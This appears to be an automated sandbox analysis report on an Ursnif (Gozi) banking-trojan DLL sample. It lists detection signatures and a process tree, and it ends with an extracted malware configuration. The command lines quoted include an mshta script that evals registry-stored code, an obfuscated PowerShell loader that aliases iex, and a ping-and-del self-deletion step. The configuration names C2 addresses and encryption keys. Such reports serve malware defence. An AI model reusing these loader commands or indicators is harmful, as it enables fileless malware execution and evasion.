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Windows Analysis Report
nhLAwAo49f

Overview

General Information

Sample Name:nhLAwAo49f (renamed file extension from none to dll)
Analysis ID:614013
MD5:117d2886bf0e722b91c0613f337e97da
SHA1:ca858266bb3a6c30bd798bd52ec9ad5f5992c999
SHA256:5460cbecf56cf0527a162da6e9232c055912ae695990c1894a32b08055f45d37
Tags:32dllexeGozi
Infos:

Detection

Ursnif
Score:100
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)
Yara detected Ursnif
System process connects to network (likely due to code injection or exploit)
Found malware configuration
Multi AV Scanner detection for submitted file
Sigma detected: Windows Shell File Write to Suspicious Folder
Maps a DLL or memory area into another process
Sigma detected: Accessing WinAPI in PowerShell. Code Injection
Machine Learning detection for sample
Allocates memory in foreign processes
Self deletion via cmd delete
Sigma detected: MSHTA Spawning Windows Shell
Sigma detected: Suspicious Call by Ordinal
Creates a thread in another existing process (thread injection)
Disables SPDY (HTTP compression, likely to perform web injects)
Writes registry values via WMI
Writes to foreign memory regions
Changes memory attributes in foreign processes to executable or writable
Sigma detected: Suspicious Remote Thread Created
Uses ping.exe to check the status of other devices and networks
Uses ping.exe to sleep
Injects code into the Windows Explorer (explorer.exe)
Modifies the context of a thread in another process (thread injection)
Sigma detected: Mshta Spawning Windows Shell
One or more processes crash
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
May sleep (evasive loops) to hinder dynamic analysis
Uses code obfuscation techniques (call, push, ret)
Found evasive API chain (date check)
Detected potential crypto function
Contains functionality to launch a process as a different user
Sample execution stops while process was sleeping (likely an evasion)
Contains functionality to dynamically determine API calls
Contains long sleeps (>= 3 min)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Searches for the Microsoft Outlook file path
Drops PE files
Tries to load missing DLLs
Uses a known web browser user agent for HTTP communication
Found evasive API chain checking for process token information
Checks if the current process is being debugged
Compiles C# or VB.Net code
Creates a process in suspended mode (likely to inject code)
Uses 32bit PE files
Queries the volume information (name, serial number etc) of a device
Sigma detected: Suspicious Rundll32 Activity
Internet Provider seen in connection with other malware
Contains functionality to query CPU information (cpuid)
Contains functionality to call native functions
Found dropped PE file which has not been started or loaded
IP address seen in connection with other malware
Enables debug privileges
Sample file is different than original file name gathered from version info
PE file contains an invalid checksum
Sigma detected: Suspicious Csc.exe Source File Folder
Monitors certain registry keys / values for changes (often done to protect autostart functionality)
Uses Microsoft's Enhanced Cryptographic Provider

Classification

  • System is w10x64
  • loaddll32.exe (PID: 6740 cmdline: loaddll32.exe "C:\Users\user\Desktop\nhLAwAo49f.dll" MD5: 7DEB5DB86C0AC789123DEC286286B938)
    • cmd.exe (PID: 6748 cmdline: cmd.exe /C rundll32.exe "C:\Users\user\Desktop\nhLAwAo49f.dll",#1 MD5: F3BDBE3BB6F734E357235F4D5898582D)
      • rundll32.exe (PID: 6768 cmdline: rundll32.exe "C:\Users\user\Desktop\nhLAwAo49f.dll",#1 MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)
        • control.exe (PID: 5304 cmdline: C:\Windows\system32\control.exe -h MD5: 625DAC87CB5D7D44C5CA1DA57898065F)
          • explorer.exe (PID: 684 cmdline: C:\Windows\Explorer.EXE MD5: AD5296B280E8F522A8A897C96BAB0E1D)
            • cmd.exe (PID: 3616 cmdline: C:\Windows\System32\cmd.exe" /C ping localhost -n 5 && del "C:\Users\user\Desktop\nhLAwAo49f.dll MD5: 4E2ACF4F8A396486AB4268C94A6A245F)
              • conhost.exe (PID: 1348 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
              • PING.EXE (PID: 4028 cmdline: ping localhost -n 5 MD5: 6A7389ECE70FB97BFE9A570DB4ACCC3B)
            • RuntimeBroker.exe (PID: 3808 cmdline: C:\Windows\System32\RuntimeBroker.exe -Embedding MD5: C7E36B4A5D9E6AC600DD7A0E0D52DAC5)
            • cmd.exe (PID: 6232 cmdline: cmd /C "nslookup myip.opendns.com resolver1.opendns.com > C:\Users\user\AppData\Local\Temp\F5DD.bi1" MD5: 4E2ACF4F8A396486AB4268C94A6A245F)
          • rundll32.exe (PID: 6472 cmdline: "C:\Windows\system32\rundll32.exe" Shell32.dll,Control_RunDLL -h MD5: 73C519F050C20580F8A62C849D49215A)
    • WerFault.exe (PID: 6844 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 6740 -s 608 MD5: 9E2B8ACAD48ECCA55C0230D63623661B)
    • WerFault.exe (PID: 7020 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 6740 -s 616 MD5: 9E2B8ACAD48ECCA55C0230D63623661B)
    • WerFault.exe (PID: 4992 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 6740 -s 652 MD5: 9E2B8ACAD48ECCA55C0230D63623661B)
  • mshta.exe (PID: 5520 cmdline: C:\Windows\System32\mshta.exe" "about:<hta:application><script>Ftlo='wscript.shell';resizeTo(0,2);eval(new ActiveXObject(Ftlo).regread('HKCU\\\Software\\AppDataLow\\Software\\Microsoft\\54E80703-A337-A6B8-CDC8-873A517CAB0E\\\TestLocal'));if(!window.flag)close()</script> MD5: 197FC97C6A843BEBB445C1D9C58DCBDB)
    • powershell.exe (PID: 6092 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" new-alias -name pfemrdpi -value gp; new-alias -name ndgrwui -value iex; ndgrwui ([System.Text.Encoding]::ASCII.GetString((pfemrdpi "HKCU:Software\AppDataLow\Software\Microsoft\54E80703-A337-A6B8-CDC8-873A517CAB0E").UrlsReturn)) MD5: 95000560239032BC68B4C2FDFCDEF913)
      • conhost.exe (PID: 588 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
      • csc.exe (PID: 4572 cmdline: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\f2vxj03f\f2vxj03f.cmdline MD5: B46100977911A0C9FB1C3E5F16A5017D)
        • cvtres.exe (PID: 5316 cmdline: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESFC15.tmp" "c:\Users\user\AppData\Local\Temp\f2vxj03f\CSCE6C104441B84417C9AABF578684269B5.TMP" MD5: 33BB8BE0B4F547324D93D5D2725CAC3D)
      • csc.exe (PID: 3108 cmdline: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\ci1gjuu1\ci1gjuu1.cmdline MD5: B46100977911A0C9FB1C3E5F16A5017D)
        • cvtres.exe (PID: 3204 cmdline: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES319C.tmp" "c:\Users\user\AppData\Local\Temp\ci1gjuu1\CSCFDAADE721EC5455F89368A25D31BABAB.TMP" MD5: 33BB8BE0B4F547324D93D5D2725CAC3D)
  • cleanup
{"RSA Public Key": "pL7U8jIQ6Xyci+KwkOGf1cPW2/Fhd+dF//sxc+w06EDUcByHCNEeq3AMzyjoircBRXTmPPIhcdpmz3ebzg0LE5DJtHXLGNdffU4pfKjfVhDmO/39S4DkofaSw/DfVYS7XTULsvD4OgcLpBmdb9KtHDr5tcYukmu8ER2eGMJKWWH3QPIgCCGjluPn4AJBYaVv+PYiV87aKNKmQY2QyHTRdeOeR6t/zjeQ8WAxQr1ckNg8DXeFDVPzLqKlTMh9JNV1/WxJWw/i0NwLqKGVqwwhDZj7TdIN07N7A3Nsw4LKUmopfR2v3CfaFAElEJJF5iXQZdDs3LWMU3fma/lDGlnr41o8sOGT4DKtfI59bD0qne8=", "c2_domain": ["config.edge.skype.com", "67.43.234.14", "config.edge.skype.com", "67.43.234.37", "config.edge.skype.com", "67.43.234.47"], "ip_check_url": ["http://ipinfo.io/ip", "http://curlmyip.net"], "serpent_key": "Q8tR9QJN7lLzOLle", "tor32_dll": "file://c:\\test\\test32.dll", "tor64_dll": "file://c:\\test\\tor64.dll", "movie_capture": "30, 8,  *terminal* *debug**snif* *shark*", "server": "50", "sleep_time": "1", "SetWaitableTimer_value(CRC_CONFIGTIMEOUT)": "60", "time_value": "60", "SetWaitableTimer_value(CRC_TASKTIMEOUT)": "60", "SetWaitableTimer_value(CRC_SENDTIMEOUT)": "300", "SetWaitableTimer_value(CRC_KNOCKERTIMEOUT)": "60", "not_use(CRC_BCTIMEOUT)": "10", "botnet": "999", "SetWaitableTimer_value": "1"}
SourceRuleDescriptionAuthorStrings
00000016.00000000.660579754.0000000000CB0000.00000040.80000000.00040000.00000000.sdmpJoeSecurity_Ursnif_1Yara detected UrsnifJoe Security
    00000002.00000003.709240338.0000000004C1<